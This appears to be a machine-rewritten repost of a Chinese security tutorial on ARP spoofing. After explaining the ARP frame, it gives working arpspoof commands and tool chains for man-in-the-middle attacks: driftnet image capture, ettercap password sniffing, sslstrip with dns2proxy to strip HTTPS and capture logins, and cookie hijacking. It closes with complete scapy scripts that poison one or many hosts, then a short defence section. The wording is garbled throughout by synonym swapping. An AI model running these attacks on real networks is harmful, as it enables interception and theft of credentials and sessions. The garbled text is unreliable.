ARP欺骗常见姿势及多机ARP欺骗

时间:2019-08-28 11:21:11  阅读:6696+ 作者:黑客与极客
原标题:ARP诈骗常见姿态及多机ARP诈骗严正声明:本文供给的程序或许办法或许带有进犯性,仅供安全研讨与教育之用,如将其信息做

原标题:ARP诈骗常见姿态及多机ARP诈骗

严正声明:本文供给的程序或许办法或许带有进犯性,仅供安全研讨与教育之用,如将其信息做其他用处,由读者自己承当悉数法令及连带责任,作者不承当任何法令及连带责任。

0×00 前语

ARP诈骗是一个陈词滥调的论题,翻看各位师傅的文章,大多数都是在运用arpspoof(当然,相同看到过运用Python写一款相似的东西的文章)进行单机诈骗。本文的意图在于总结ARP诈骗原理、常见姿态以及完成多机ARP诈骗。

0×01 ARP帧格局 DST SRC 长度或类型 硬件类型 协议类型 硬件巨细 协议巨细 Op 发送方的硬件地址(MAC地址) 发送方的协议地址(IPv4) 意图硬件地址(MAC地址) 意图协议地址(IPv4) 填充(不按份额) FCS 6 6 2 2 2 1 1 2 6 4 6 4 18 4

DST、SRC、长度或类型。

这三个字段是以太网头部

DST(6):意图以太网地址。当该帧为ARP恳求时,DST为ff:ff:ff:ff:ff:ff(即6个字节悉数为1)。

SRC(6):源以太网地址。

长度或类型(2):关于ARP帧来说,该字段固定,0×0806。

硬件类型、协议类型、硬件巨细、协议巨细、Op、发送方的硬件地址(MAC地址)、发送方的协议地址(IPv4)、意图硬件地址(MAC地址)、意图协议地址(IPv4)

ARP恳求或应对,针对IPv4地址映射到MAC地址

硬件类型、协议类型、硬件巨细、协议巨细(决议了最终4个字段的类型和巨细,硬件巨细与协议巨细的单位均为Byte): 关于以太网和IPv4来说,这4个字段分别是1、0×0800、6、4。

Op:指出该帧的类型。ARP恳求(值为1)、ARP应对(值为2)、RARP恳求(值为3)、RARP应对(值为4)。

发送方的硬件地址(MAC地址)、发送方的协议地址(IPv4)、意图硬件地址(MAC地址)、意图协议地址(IPv4):这4个字段无须解说。需求留意的是,ARP恳求帧中意图硬件地址全为0。

进入Python3解说器环境,输入下面的指令来检查一下ARP帧格局:

>>> from scapy.all import * >>> ls(ARP)

输出信息如下:

hwtype : XShortField = (1) ptype : XShortEnumField = (2048) hwlen : FieldLenField = (None) plen : FieldLenField = (None) op : ShortEnumField = (1) hwsrc : MultipleTypeField = (None) psrc : MultipleTypeField = (None) hwdst : MultipleTypeField = (None) pdst : MultipleTypeField = (None)

Wireshark抓包,过滤规矩arp.opcode==1即ARP恳求帧:

过滤规矩arp.opcode==2即ARP应对帧:

0×02 ARP诈骗原理

一开始运用“手绘”,可是图片委实太丑,所以抛弃。谢谢岁月师傅引荐的在线作图网站。

正常状况下的ARP恳求与应对:

PC2播送ARP恳求,问询IP地址为192.168.3.2的主机的MAC地址。 PC1收到播送帧,宣布ARP应对,告知PC2自己是192.168.3.2,MAC地址是aa:aa:aa:aa:aa:aa。

单向ARP诈骗:

· 1 12232132332

1 12232132332

1 12232132332

1 12232132332

PC1播送ARP恳求,问询IP地址为192.168.3.1的主机的MAC地址。 PC3收到播送帧,宣布ARP应对,告知PC1自己是192.168.3.1,MAC地址是cc:cc:cc:cc:cc:cc。(这之后,PC1发给PC2的全部流量都会发给PC3)

双向ARP诈骗:

纸不够大,就没有画图,能够参照上面单向ARP诈骗的图。。。

PC1播送ARP恳求,问询IP地址为192.168.3.1的主机的MAC地址。 PC3收到PC1的播送帧,宣布ARP应对,告知PC1自己是192.168.3.1,MAC地址是cc:cc:cc:cc:cc:cc。(这之后,PC1发给PC2的全部流量都会发给PC3) PC2播送ARP恳求,问询IP地址为192.168.3.2的主机的MAC地址。 PC3收到PC2的播送帧,宣布ARP应对,告知PC1自己是192.168.3.2,MAC地址是cc:cc:cc:cc:cc:cc。(这之后,PC2发给PC1的全部流量都会发给PC3)

0×03 arpspoof浅析

笔者电脑的体系是Ubuntu 16.04,需求先装置dsniff(arpspoof是dsniff的一个组件):

sudo apt install dsniff

检查一下arpspoof的参数:

Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

i参数:用来指定网卡称号,能够运用ifconfig指令来检查网卡称号。

c参数:用来康复受害者主机的ARP缓存表。概况见下文。

t参数:用来指定方针主机即受害者IP。

host:即将假装的主机IP。

r参数:运用该选项代表双向诈骗。

3.1 运用arpspoof进行诈骗

起先运用某为的无线路由器进行测验,发现无论是运用arpspoof仍是自己编写的脚本都无效,让我有种置疑“人生”的感觉;之后运用某link的无线路由器再次测验,成功。这儿不得不称誉一下某为的无线路由器。

下面图片的打码或许会影响阅览,所以提早阐明三台主机的MAC地址:

attacker:C4:XX:XX:XX:XX:D9

网关:B8:XX:XX:XX:XX:59

受害者:F0:XX:XX:XX:XX:D3

本机即attacker的IP及MAC地址:

测验的网络环境中存活主机:

其间IP地址为192.168.0.1的主机是网关即无线路由器,IP地址为192.168.0.110的主机是受害者。先来进行单向诈骗(root环境下):

arpspoof -i wlo1 -t 192.168.0.110 192.168.0.1

没有诈骗之前受害者的ARP缓存表:

单向诈骗之后受害者的ARP缓存表:

进行双向诈骗,能够从attacker发送帧的状况中看出。单向诈骗时:

这时attacker只“告知”192.168.0.110自己是192.168.0.1。双向诈骗时:

arpspoof -i wlo1 -t 192.168.0.110 -r 192.168.0.1

这时attacker不只“告知”192.168.0.110自己是192.168.0.1,一起“告知”192.168.0.1自己是192.168.0.110。

3.2 arpspoof的-c参数

通过一番“困难”的研讨之后,总算大致地搞理解了这个参数的作用。源码没有细看(主要是看不懂),如有过错,还望纠正。

arpspoof -i wlo1 -c own -t 192.168.0.110 192.168.0.1

假如-c参数为own,在退出时运用本机MAC地址作为以太网头部的SRC发送给受害者主机以康复其ARP缓存表,即告知受害者主机正确的网关MAC地址。

从抓到的数据包中也能够看出:

上面这个数据包是在运用arpspoof进行ARP诈骗时抓到的,以太网头部的SRC是attacker的MAC地址,ARP帧中发送方的MAC地址也是attacker的MAC地址。

这个包是在Cleaning up and re-arping targets...时抓到的,留意这时以太网头部的SRC是attacker的MAC地址,而ARP帧中发送方的MAC地址现已变为网关的MAC地址了,而不再是attacker的MAC地址。

arpspoof -i wlo1 -c host -t 192.168.0.110 192.168.0.1

假如-c参数为host,在退出时运用网关MAC地址作为以太网头部的SRC发送给受害者主机以康复其ARP缓存表。

将上面这个包与-c参数为own时抓到的包比照来看,能够看出该包中以太网头部的SRC与ARP帧中发送方MAC地址共同,都是网关的MAC地址。

-c参数为own或许为host时,都是发送5次数据包:

而-c参数为both时,会发送10次数据包(own和host各5次)。

这个能够从源码中一探终究:

if (!cleanup_src || strcmp(cleanup_src, "own")==0) { cleanup_src_own = 1; cleanup_src_host = 0; } else if (strcmp(cleanup_src, "host")==0) { cleanup_src_own = 0; cleanup_src_host = 1; } else if (strcmp(cleanup_src, "both")==0) { cleanup_src_own = 1; cleanup_src_host = 1; } else { errx(1, "Invalid parameter to -c: use 'own' (default), 'host' or 'both'."); usage; }

当挑选own(没有这一参数即默许挑选own)时,cleanup_src_own = 1;当挑选host时,cleanup_src_host = 1;当挑选both时,两者均为1 ;而其他的选项则会显现犯错信息。

cleanup(int sig) { int fw = arp_find(spoof.ip, &spoof.mac); int bw = poison_reverse && targets[0].ip && arp_find_all; int i; int rounds = (cleanup_src_own*5 + cleanup_src_host*5); fprintf(stderr, "Cleaning up and re-arping targets...n"); for (i = 0; i < rounds; i++) { struct host *target = targets; while(target->ip) { uint8_t *src_ha = NULL; if (cleanup_src_own && (i%2 || !cleanup_src_host)) { src_ha = my_ha; } if (fw) { arp_send(l, ARPOP_REPLY, (u_int8_t *)&spoof.mac, spoof.ip, (target->ip ? (u_int8_t *)&target->mac : brd_ha), target->ip, src_ha); sleep(1); } if (bw) { arp_send(l, ARPOP_REPLY, (u_int8_t *)&target->mac, target->ip, (u_int8_t *)&spoof.mac, spoof.ip, src_ha); sleep(1); } target++; } } exit(0); }

上述的 cleanup_src_own与cleanup_src_host的取值决议了该函数中int rounds = (cleanup_src_own*5 + cleanup_src_host*5)的计算结果,从而决议下面的for循环次数即发送数据包的次数。可是为什么要挑选5次,这个就不得而知了。。。

0×04 常见运用姿态 4.1 (First)敞开路由转发

上述的单向或许双向诈骗都只能形成受害者主机断网(能够见下图),若断网引起对方警惕,这样就“为难”了。

第一个PING指令是我在施行双向诈骗之后进行的,第二个PING指令是在正常状况下进行的。

所以,需求在attacker主机上敞开路由转发功用,这样两边的流量都能够正常通过,而不是遭受“阻塞”。

echo 1 > /proc/sys/net/ipv4/ip_forward

0代表没有敞开,1代表敞开 。永久敞开的办法能够参阅这篇文章 。假如不觉得费事的话,也能够去相应途径下找到文件然后修正。。。

4.2 driftnet获取图片记载

在敞开了路由转发的前提下,运用arpspoof进行双向诈骗

arpspoof -i wlo1 -t 192.168.0.110 -r 192.168.0.1

之后翻开另一终端(root权限下)运用driftnet或许driftnet -i wlo1指令(不运用-i参数指定interface的话默许是悉数interface)获取图片记载(假如没有装置的话,apt install driftnet装置即可):

前者是我在受害者主机上查找“超级马里奥”,后者是driftnet获取到的图片。

driftnet的help信息中有这样一句话:

当你在单击driftnet窗口中的某张图片时,会保存到当时目录:

从命名办法能够看出来,我单击了7张图片,Home目录下就保存了7张图片。

涉及到保存图片的参数有4个:

-a:Adjunct mode(附加形式)。不在窗口中显现图片,而是保存到一个暂时目录下,并在终端输出其途径。

-m number:Adjunct mode下,在暂时目录中最多保存的图片数量(但好像并没有什么卵用)。 -d directory:指定保存的暂时目录名。指守时该目录是现已存在的,不然会报错(能够见下面第3张图片);假如不指定,目录名会随机生成。 -x prefix:指定保存图片的前缀,与-a参数一起运用时该参数无效。

上图中drifnet-xxxxxx目录便是保存图片的暂时目录。在运用-a参数时,假如呈现如下过错提示:

运用rm /tmp/driftnet.pid指令将/tmp/driftnet.pid删去即可。

从上图能够看到-d参数指定目录不存在时给出的过错信息,而-x参数与-a参数一起运用被忽略了。下图是运用driftnet -x ddd指令-x参数起作用时的作用:

4.3 ettercap嗅探HTTP网站帐号暗码

ettercap是个“神器”,本文要点不在于此,故不去具体介绍。

敞开路由转发、arpspoof双向诈骗不多赘述,全部安排妥当之后,另一终端下运用如下指令:

ettercap -Tq -i wlo1

T代表指令行界面而非GUI显现,q代表不显现数据包内容,i指定监听网卡。

4.4 sslstrip+dns2proxy_hsts嗅探HTTPS网站帐号暗码

先把东西的链接奉上:

sslstrip:Kali下自带;假如是其他Linux版别,运用sudo apt install sslstrip指令装置即可。

sslstrip2 :作者由于某些原因删掉了本来的代码,这是我在另一处找到的。(你也能够挑选运用sslstrip)

dns2proxy_hsts

嗅探HTTPS网站的帐号暗码的思维便是将HTTPS降成HTTP,之后再嗅探HTTP网站的帐号暗码。

首要,在attacker本机上进行端口映射(有关iptables的常识能够参阅这篇文章 ,本文要点不在于iptables):

iptables --flush iptables --flush -t nat iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8888 iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53

前2条指令是在做整理作业,后2条指令才是进行端口映射。之后到dns2proxy_hsts目录下,履行(假如它依靠的dns库没有装置的话,运用sudo pip install dnspython装置即可):

python2 dns2proxy.py

Then,翻开另一终端:

sslstrip -l 8888 -a

准备作业安排妥当后,运用arpspoof进行双向诈骗。

最终,运用tail指令继续改写显现sslstrip.log文件的新内容:

tail -f sslstrip.log

下面是一组图片,有图有本相。

这是某网站的登录进口。正常翻开该网站的登录界面时:

履行完上面的操作后,再次翻开该页面:

能够看到“小锁”标志现已变成了“不安全”,这一点一般没有人去留意,并且该网站的主页在翻开时就有一个“不安全”的标志,所认为其供给了更好的隐蔽性。我输入之前为了测验注册的帐号与暗码,登录成功:

现在来看看attacker电脑上嗅探到的暗码:

帐号明文传输,暗码通过前端加密后传输,后边的seccode是URL编码后传输的验证码,_=后边的一串数字意义不明但每次都不变。

嗅探到帐号和暗码,意图现已到达,尽管暗码通过了前端加密而不是明文传输。。。

可是不获取到它的明文内容怎能罢手??

细心瞅了瞅这个网站,发现了这个东东:

MD5加密无疑了,解密即可(不会JS,所以没看md5.min.js这个文件):

暗码与之前登录时输入的暗码共同。

4.5 WIreshark+cookie Hacker绑架cookie

谢谢余弦师傅的cookie Hacker 。

受害者主机上翻开百度贴吧,并登录:

arpspoof双向诈骗就不必再强调了,之后翻开WIreshark,过滤规矩http.cookie,能够看到很多,点开其间的一个:

仿制cookie为纯文本,到cookie Hacker中:

在点击Inject cookies之前,我的百度贴吧是未登录状况:

点击Inject cookies之后,并改写页面,登录成功:

用该cookie登录百度官网也是能够的:

0×05 运用Python编写一款相似arpspoof的东西 #!/usr/bin/python from scapy.all import * import argparse def main(interface,t1_ip,t2_ip): local_mac=get_if_hwaddr(interface) #本机MAC地址 t1_mac=getmacbyip(t1_ip) #Target1MAC地址 t2_mac=getmacbyip(t2_ip) #Target2MAC地址 t1_packet=Ether(src=local_mac,dst=t1_mac)/ ARP(hwsrc=local_mac,psrc=t2_ip,hwdst=t1_mac,pdst=t1_ip,op=2) #结构ARP帧,告知Target1:Target2的MAC地址是本机MAC t2_packet=Ether(src=local_mac,dst=t2_mac)/ ARP(hwsrc=local_mac,psrc=t1_ip,hwdst=t2_mac,pdst=t2_ip,op=2) #结构ARP帧,告知Target2:Target1的MAC地址是本机MAC while True: sendp(t1_packet,iface=interface,inter=1) print("Telling 033[1;33m%s033[0m 033[1;36m%s033[0m is at %s"%(t1_ip,t2_ip,local_mac)) sendp(t2_packet,iface=interface,inter=1) print("Telling 033[1;33m%s033[0m 033[1;36m%s033[0m is at %s"%(t2_ip,t1_ip,local_mac)) if __name__ == '__main__': parser=argparse.ArgumentParser parser.add_argument('-i',help='Interface') parser.add_argument('-t',help='Target1 ip') parser.add_argument('-g',help='Target2 ip') args=parser.parse_args if args.i and args.t and args.g: main(args.i,args.t,args.g) else: print("033[1;31mPlease enter the correct parameters.033[0m")

作用图:

0x06 运用Python编写脚本进行多机诈骗 #!/usr/bin/python from scapy.all import * import argparse import threading from queue import Queue interface='' t2_ip='' target_queue=Queue class MyThread(threading.Thread): def __init__(self,func,args): threading.Thread.__init__(self) self.func=func self.args=args def run(self): self.func(self.args) def main(t1_ip): global interface global t2_ip local_mac=get_if_hwaddr(interface) t2_mac=getmacbyip(t2_ip) while not target_queue.empty: t1_ip=target_queue.get(True,3) t1_mac=getmacbyip(t1_ip) t1_packet=Ether(src=local_mac,dst=t1_mac)/ ARP(hwsrc=local_mac,psrc=t2_ip,hwdst=t1_mac,pdst=t1_ip,op=2) t2_packet=Ether(src=local_mac,dst=t2_mac)/ ARP(hwsrc=local_mac,psrc=t1_ip,hwdst=t2_mac,pdst=t2_ip,op=2) while True: sendp(t1_packet,iface=interface,inter=1) print("Telling 033[1;33m%s033[0m 033[1;36m%s033[0m is at %s"%(t1_ip,t2_ip,local_mac)) sendp(t2_packet,iface=interface,inter=1) print("Telling 033[1;33m%s033[0m 033[1;36m%s033[0m is at %s"%(t2_ip,t1_ip,local_mac)) def list_process(list_file): with open(list_file) as f: for ip in f.readlines: target_queue.put(ip) if __name__ == '__main__': parser=argparse.ArgumentParser parser.add_argument('-i',help='Interface') parser.add_argument('-l',help='Target1_ip list') parser.add_argument('-g',help='Target2 ip') args=parser.parse_args if args.i and args.l and args.g: target_threads=[] interface=args.i t2_ip=args.g list_process(args.l) for i in range(10): t=MyThread(main,target_queue) target_threads.append(t) for i in range(10): target_threads[i].start for i in range(10): target_threads[i].join else: print("033[1;31mPlease enter the correct parameters.033[0m")

-l后边跟的是方针IP列表文件的称号,such as:python2 arp_attack_thread.py -l 1.txt -g 192.168.0.1 -i wlo1。

作用图:

假如诈骗主机数量过多,而本机功能有些费劲的话,就变成了DDoS。

0×07 ARP诈骗常见防护办法及溯源

在清楚了ARP诈骗的原理之后,防护手法主要从两个方面动身:

阻断假造数据包的传达

受害者不接受假造数据包

7.1 阻断假造数据包的传达

该办法主要是从交换机或许路由器等网络设备的视点动身。

以交换机为例,将交换机的端口、MAC地址、IP地址三者绑定,生成DAI(Dynamic ARP Inspection)检测表。假如某个端口的主机发送了与它在DAI表中的条目不相符的数据包,能够挑选令其断网或许丢掉其发送的数据包。

7.2 受害者不接受假造数据包

该办法主要是从用户的视点动身。

首要,不要随意接入生疏的网络是必定的。其次,用户能够在设备上装置ARP防火墙。假如是技术人员,能够挑选树立静态ARP条目(适用于不会常常变化且数量较少的网络环境),Windonws用户运用指令arp -s ip地址 mac地址来进行静态绑定。

7.3 溯源

被进犯了要找到源头,总不能不明不白地“死”掉。

仍是以交换机为例。检查被诈骗主机的ARP缓存表,检查网关IP的MAC地址,之后到交换机上去检查对应该MAC的端口,就能够找到对应的“暗地黑手”了。

0×08 参阅文章及延伸

*本文作者:ERFZE,本文属 FreeBuf 原创奖赏方案,未经许可制止转载。

责任编辑:

相关阅读